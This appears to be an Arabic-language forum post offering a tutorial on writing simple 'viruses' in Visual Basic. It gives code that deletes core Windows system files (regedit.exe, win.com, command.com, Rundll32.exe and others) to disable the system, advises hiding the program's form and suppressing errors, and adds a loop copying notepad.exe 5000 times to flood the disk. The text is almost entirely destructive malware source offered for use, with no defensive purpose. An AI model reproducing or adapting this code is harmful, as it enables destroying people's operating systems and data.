worldprofessional

لمسالة بسيطة جدا تعتمد فقط على الدالة kill
فمثلا اذا كنت تريد ان تمحي الريجستري تضع:
on error resume next
kill c:/windows/regedit.exe
ودائما ضع الجملة on error resume next قبل القيام باي عملية تجنبا للاخطاء...
ملاحظة:اذا كنت تريد تصنع فيروس يجب ان تضبط الخاصية visible للform عند false
ومثلا هذا فيروس يقوم بقتل الويندوز
on error resume next
kill c:\windows\system\msconfig.exe

killc:\windows\Rundll32.exe

kill c:\windows\regedit.exe

kill c:\windows\Rundll.exe

kill c:\Autoexec.bat

kill c:\command.com

kill c:\windows\Logos.sys

kill c:\windows\Logow.sys

kill c:\windows\Scanregw.exe

kill C:\Program Files\Internet Explorer\Iexplore.exe

kill c:\windows\system\Sysedit.exe

kill c:\windows\win.com

ولنتطرق الى موضوع اخر من الفيروسات...
فمثلا هذا فيروس يقوم بنسخ برنامج الnotepad في الويندوز 5000 مرة...
on error resume next
for i= 1 to 5000
FileCopy "c:/windows/notepad.exe", "c:/windows/notepad" & i & ".exe"
Next i